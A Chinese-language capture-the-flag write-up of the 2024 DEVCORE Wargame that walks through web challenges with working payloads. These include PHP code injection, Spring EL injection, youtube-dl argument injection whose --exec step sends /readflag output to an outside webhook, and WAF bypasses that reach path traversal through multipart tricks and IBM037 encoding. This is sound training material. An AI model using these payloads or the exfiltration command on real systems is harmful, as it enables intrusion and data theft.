2024 DEVCORE Wargame

今年 Wargame 有八題,難度比往年高超多,都是有趣又實用的魔法,我在比賽結束前解了三題,結束後晚上解了兩題牆,剩下 Spring、酷拉皮卡 Kurapika、Notes Space

Supercalifragilisticexpialidocious

簽到題

<?php

if (!isset($_GET['code'])) {
    echo '<h1>PHP Syntax Checker</h1><form method="GET"><textarea name="code"></textarea><br /><button type="submit">Submit</button></form><br />';
    highlight_file(__FILE__);
    exit();
}

$code = strval($_GET['code']);

try {
    create_function('', $code);
    echo "valid";
} catch (ParseError $e) {
    echo "syntax error";
}

create_function $code 可控,它的原理是拼接成函式後 eval ,類似 eval("function (){$code;}")  ,所以注入 php code 就能 RCE

payload

GET /?code=%3b%7dsystem(%22%2freadflag%22)%3b%2f* HTTP/1.1
Host: web.ctf.d3vc0r3.tw:8888

response

HTTP/1.1 200 OK
Date: Sat, 24 Aug 2024 17:24:18 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 32
Content-Type: text/html; charset=UTF-8

DEVCORE{o1d_th1ng_1s_g00d}
valid

Expressionism

spring index 會把 FLAG 放在 session

    ...
    @RequestMapping(value="/", method=RequestMethod.GET)
    public String index(@RequestParam(value="id", required=false) String id, Model model, HttpSession session) {
        if (id == null) {
            id = String.valueOf(random.nextInt(11) + 1);
        }
        model.addAttribute("id", id);
        session.setAttribute("FLAG", System.getenv("FLAG"));
        return "index";
    }
    ...

只有個 jsp 頁面,可控 id

<div class="container">
    <img src="/static/The_Scream.jpg" alt="The Scream">
    <p><spring:message code="life.quotes.${id}" /></p>
</div>

一臉給你注入,查了一陣子(java 的 document 真的難找....),後來丟去餵 chatgpt 才知道是 Expression Language,找到這篇 https://blog.csdn.net/jimmyleeee/article/details/114665906 ,知道 spring 會 evalute 兩次,然後錯誤訊息會回顯,所以先解析出 FLAG 讓他噴錯就行

payload

GET /?id=%24%7bsessionScope.FLAG%7d HTTP/1.1
Host: web.ctf.d3vc0r3.tw:18080

response

...
<pre>javax.servlet.jsp.JspTagException: No message found under code &#39;life.quotes.DEVCORE{d1d_y0u_kn0w_th1s_b3f0r3}&#39; for locale &#39;en_US&#39;.
...

I didn't know this before.

VArchive

開始有點挑戰了

題目是個 C# 網站, videoId 可控,要透過參數注入 youtube-dl 來 RCE

string arguments = string.Format("\"https://www.youtube.com/watch?v={0}\" -o \"{1}\"", videoId, outputPath);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WorkingDirectory = "/archives";
startInfo.FileName = "youtube-dl";
startInfo.Arguments = arguments;
Process process = new Process();
process.StartInfo = startInfo;
process.Start();
byte[] result = Encoding.UTF8.GetBytes(string.Format("Start to download {0}", url));
response.OutputStream.Write(result, 0, result.Length);

翻一下 youtube-dl 可以找到 --exec ,在成功下載檔案後能執行

以為是水題,沒想到滿滿人類的惡意

第一個惡意是使用的 youtube-dl 版本 2021.12.17 太舊,連題目預設要下載的影片 https://www.youtube.com/watch?v=iU0QOcM7UnU 都會被 403,查到 -i 可以 ignore error 但是 -o 設定 output path 是單一的,當要試著下載多個檔案會直接錯誤

VArchive$ ./publish/youtube-dl "http://a" "http://b" -o apath
ERROR: fixed output name but more than one file to download

   參數本身是後蓋前,所以要透過 -- 把後面參數變成非參數

VArchive$ ./publish/youtube-dl --  -o apath
ERROR: '-o' is not a valid URL. Set --default-search "ytsearch" (or run  youtube-dl "ytsearch:-o" ) to search YouTube

然後找其他可上傳並且下載的站點,翻他 source code 包含超多網站,(不)意外的是有一堆 x 站,而幾乎每個 downloader 都會附幾個測資,我抱著學術研究精神好奇測試影片會不會是 hello world 教學,沒想到都是真槍實彈的。最後找到 streamable 和 google drive。

第二個惡意是莫名其妙的 ulimit 1kb ??????:D??????? 這邊讓我搞超久,大概方向有捏一個超級小的 media、下載部分檔案

我先查了一下 youtube-dl 要怎麼下載部分檔案,查到的大多是 ffmpeg 切影片轉檔,但是網站上沒有 ffmpeg,就改朝捏 media,自己隨便錄了段兩秒的影片,轉檔成一秒並且 frame rate 1,各種壓爛品質,轉成 webm 或是 gif,原本成功壓到 1kb 以下,丟到 streamable 後會被他強制做一次轉檔變成約 1.5kb,雖然還能線上做些裁切,最後也只壓到 1.3kb。還有查到一個有趣的 repo https://github.com/mathiasbynens/small 有各種最小尺寸的檔案。接著測試 googledrive 時遇到 youtube-dl 的坑,當檔案 <4kb 時, google drive 會沒辦法處理得到他的 metadata,導致 youtube-dl 拿 metadata 時失敗就噴了。

在 debug 時有看到 youtube-dl 處理流程會先匹配 URL, pattern 存在的話交給相對應的 extractor 和 downloader,第一個請求先拿 metadata,從中抽取真實檔案位置後第二個請求才下載。於是我猜次有沒有可能透過 open redirect 通過 URL 匹配跳轉到可控的 metadata,讓他載任意的檔案位置,結果是不行,因為從 metadata 抽出真實檔案位置後還會進行一次匹配。

最後是靈機一動想到 --add-header 可以加 "Range: bytes=0-499" ,然後就解了...

payload

youtube.com/watch?v=" "https://drive.google.com/file/d/1lgyCacgjiA90Vd0oayJnGcM5T_t9l5un/view?usp=sharing" -i -v --add-header "Range: bytes=0-499" --print-traffic --exec "python -c \"from urllib import request;request.urlopen('http://yourwebhook/$(/readflag|base64 -w 0)')#{}\""  --"

response

~$ ncat -klv 0.0.0.0 4242 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 172.104.94.128.
Ncat: Connection from 172.104.94.128:50960.
GET /REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo= HTTP/1.1
Accept-Encoding: identity
Host: blog.cjis.ooo:4242
User-Agent: Python-urllib/3.12
Connection: close

^C
~$ base64 -d
REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo=
DEVCORE{cl3u.6i qo4d.3t86!!}

p.s. 搞不好鈔能力去買些網站 premium 上傳無損檔案就好了...

酷拉皮卡 Kurapika

還在船上

一個黑箱的檔案上傳網站,稍微戳一下會知道他的 WAF 不是寫在 php 那層,因為上傳成功的 header 都帶有 apache,經過 php WAF 處理的也應該帶有 apache。

formdata filename 不能帶有 .ph .ht 還有 hacktrick 上那些名單, Content-Type 不能帶有 charset  

測過 apache 2.4.54 http smuggling POCchunked coding bypass、sleep chunked、各種花式 content-type 分段都繞不過,我爛死QQQQQQQ

ginoah 說是 null byte 注在 boundary

Wall..Maria

前端是 go ,會做 proxy 到後端 Tomcat,要能 path traversal 讀 /flag.txt

go 有加一堆 waf,大致上要求不能有 .%2e 還有有些必須是 ascii。source code 有些我加的 log。

package main

import (
	"log"
	"io"
	"net/http"
	"os"
	"regexp"
	"strings"
)

func doWAF(r *http.Request) bool {
	var parsed = false
	var isPOST = r.Method == http.MethodPost

	bodyData, _ := io.ReadAll(r.Body)
	log.Println("bodyData: "+string(bodyData))
	r.Body = io.NopCloser(strings.NewReader(string(bodyData)))

	if hasDotDot(string(bodyData)) {
		return false
	}

	if mr, err := r.MultipartReader(); err == nil {
		log.Println("###multipartReader")
		for {
			parsed = true
			part, err := mr.NextPart()
			if err == io.EOF {
				break
			}
			data, _ := io.ReadAll(part)
			part.Close()
			if !isASCII(part.FormName()) || !isASCII(string(data)) || hasDotDot(string(data)) {
				return false
			}
		}
	} else {
		log.Println("###parseform")
		if err := r.ParseForm(); err != nil {
			return false
		}
		for key, values := range r.Form {
			parsed = true
			if !isASCII(key) || hasDotDot(key) {
				return false
			}
			for _, value := range values {
				log.Println("value  "+key+":"+value)
				if !isASCII(value) || hasDotDot(value) {
					return false
				}
			}
		}
	}

	r.Body = io.NopCloser(strings.NewReader(string(bodyData)))
	return !isPOST || (isPOST && parsed)
}

func hasDotDot(s string) bool {
	dotDotPattern := regexp.MustCompile(`(?i)(\.|%2e){2}`)
	if dotDotPattern.MatchString(s) {
		return true 
	}
	return false
}

func isASCII(s string) bool {
	for i := 0; i < len(s); i++ {
		if s[i] >= 0x7F || s[i] < 0x20{
			return false
		}
	}
	return true
}

func proxyRequest(w http.ResponseWriter, r *http.Request) {
	if !doWAF(r) {
		http.Error(w, "WAF!", http.StatusForbidden)
		return
	}

	backendURL := os.Getenv("BACKEND_URL")
	proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	for key, values := range r.Header {
		for _, value := range values {
			log.Println(key+":"+value)
			proxyReq.Header.Set(key, value)
		}
	}

	resp, err := http.DefaultClient.Do(proxyReq)
	if err != nil {
		http.Error(w, "Bad Gateway", http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()

	for key, values := range resp.Header {
		for _, value := range values {
			w.Header().Set(key, value)
		}
	}
	w.WriteHeader(resp.StatusCode)
	io.Copy(w, resp.Body)
}

func main() {
	http.HandleFunc("/", proxyRequest)
	log.Println("Proxy server running on port 80...")
	log.Fatal(http.ListenAndServe(":80", nil))
}

Tomcat

<%
    String file = request.getParameter("file");

    if (
      file == null || file.isEmpty()
      || !request.getParameter("give").equals("me")
      || !request.getParameter("the").equals("flag")
    ) {
      %><script>window.location.href = "/?give=me&the=flag&file=greet";</script><%
    } else {
        try (java.io.FileInputStream fis = new java.io.FileInputStream("./webapps/ROOT/" + file)) {
            byte[] buffer = new byte[4096];
            int n;
            while ((n = fis.read(buffer)) != -1) response.getOutputStream().write(buffer, 0, n);
        } catch (Exception e) {
            response.sendError(404, e.getMessage());
        }
    }
%>

測試一下會發現 r.Body 行為很怪,沒有 Content-Length 時會是整個 request 內容,有 Content-Length 時會是 body 內容。

GET 請求時仍然可以帶 Content-LengthContent-type ,並且會被解析成功

r.MultipartReader 會解析 multipart/form-data; ,翻了一下 net/http 還說會寫解析 multipart/mixed

r.ParseForm 會解析  query 和 body, r.Form 會取 query,所以必須走 r.MultipartReader 那條路

// ParseForm populates r.Form and r.PostForm.
//
// For all requests, ParseForm parses the raw query from the URL and updates
// r.Form.
//
// For POST, PUT, and PATCH requests, it also reads the request body, parses it
// as a form and puts the results into both r.PostForm and r.Form. Request body
// parameters take precedence over URL query string values in r.Form.
//
// If the request Body's size has not already been limited by MaxBytesReader,
// the size is capped at 10MB.
//
// For other HTTP methods, or when the Content-Type is not
// application/x-www-form-urlencoded, the request Body is not read, and
// r.PostForm is initialized to a non-nil, empty value.

payload

GET /?give=me&the=flag&file=../../../../../../../flag.txt HTTP/1.1
Host: a
Content-Length: 134
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSZSHGtnOhWX6qtX

------WebKitFormBoundaryqSZSHGtnOhWX6qtX
Content-Disposition: form-data; name="a"

me
------WebKitFormBoundaryqSZSHGtnOhWX6qtX--

response

HTTP/1.1 200 OK
Content-Length: 31
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:00:10 GMT
Set-Cookie: JSESSIONID=E0DEAEFBDFA454B88FBA2B2419264A6E; Path=/; HttpOnly

DEVCORE{4S_1f_7h3rE_i5_n0_WAF}

Wall..Rose

不知道為啥這題 0 分

和前一題比,只是 WAF 多了偵測 r.URL

	if hasDotDot(string(bodyData)) || hasDotDot(r.URL.String()){
		return false
	}

proxy 時 http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body) 使用的是 r.RequestURI ,文檔上說有些差異,我測了一陣子沒看到有差,翻實作也沒看到什麼,後來猜想 r.Body 行為那麼怪,會不會 client request 能覆蓋一些資料,追了一陣子都蠻正常的

jsp getParameter 只會從 query 或是 application/x-www-form-urlencoded 取得,並不會從 multipart/form-data 取得,意味著 payload 必定會在 body 長這樣 file=../../../../../flag.txt ,唯一能繞過的方式是改變編碼,恰巧 Tomcat 支援奇怪的 charset,像是

from https://turn1tup.github.io/2019/04/23/%E5%AF%B9%E8%BF%87WAF%E7%9A%84%E4%B8%80%E4%BA%9B%E8%AE%A4%E7%9F%A5/

ibm037 可以這樣生

import urllib
from urllib import parse
s = "give=me&the=flag&file=../../../../../../flag.txt"
r = ""
for kv in s.split("&"):
    k, v = kv.split("=", 2)
    print(k, v)
    r += parse.quote(k.encode("IBM037")) + "=" + parse.quote(v.encode("IBM037")) + "&"
r = r[:-1]
print(r)
忘了從哪抄的
各種奇怪繞 WAF
https://www.slideshare.net/slideshow/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour/104553423
推薦,很全面> https://turn1tup.github.io/2019/04/23/对过WAF的一些认知/
https://github.com/kh4sh3i/WAF-Bypass

剩下問題是 golang 那層 parse 後的 key, value 只能有 ascii ,經過 ibm037 編碼會有非 ascii 字元

fuzzing 一陣子發現如果有重複的 Content-Type ,golang 會看第一個,但是 Tomcat 會看第二個,並且r.MultipartReader 可以忍受 last part 後有髒資料,看實作好像是 parse 時遇到 --boundary-- 就回傳 EOF,所以能忽略後面的髒資料

其實是 go proxy 寫法只會傳遞最後一個重複的 header,不是 Tomcat 本身的解析問題

所以最後 payload 長這樣

POST /?give=me&the=flag HTTP/1.1
Host: a
Content-Length: 114
Content-Type: multipart/form-data; boundary=a;charset=a
Content-Type: application/x-www-form-urlencoded; charset=ibm037

--a
Content-Disposition: form-data; name="a"

me
--a--
&%86%89%93%85=KKaKKaKKaKKaKKaKKa%86%93%81%87K%A3%A7%A3

response

HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:49:22 GMT
Set-Cookie: JSESSIONID=C0C1B3A8A9C9C76A26CB124E7A8CFDD3; Path=/; HttpOnly

DEVCORE{DM_m3_y0uR_s01ut1oN!_R3a1lY_cUr10us}

這是三小,我好像有點牆

題外話,因為前陣子  im.b 很紅,我戳了一個小時多的 imb037...

Spring

ginoah 的言簡意賅題

題目是 spring boot 有個 SQL 注入,不過在這好像是 JPQL ,要能 RCE

@SpringBootApplication
@Controller
public class Application extends SpringBootServletInitializer{

    @PersistenceContext
    private EntityManager entityManager;

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    @GetMapping("/{route}")
    public String index(@PathVariable String route, Model model) {
        return entityManager.createQuery(
                String.format("FROM Pages WHERE route = '%s'", route), Pages.class)
                .getResultStream()
                .findFirst()
                .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND, "Page not found"))
                .name;
    }
}

題目就這樣(茶

.name 回傳的字串會變成搜尋 templates 下的檔案,猜測是和這裏的處理機制有關

Java 文檔真的好難找 Orz

然後想睡了QQ

窩不知道

Spring 回傳字串會經過 thymeleaf 解析,能做到 LFI/RFI 之類的 SSTI,HQL/JPQL(到底是哪個QAQ)禁止使用 union,但是可以透過  java constant 繞過,所以流程是 ‌‌java
1.  java constant 繞 union,控 return
2.  繞 thymeleaf  保護
3. SSTI

Notes Space

沒空看,Difficulty: ★★★★★★★

靠北怎麼從五顆變七顆 ★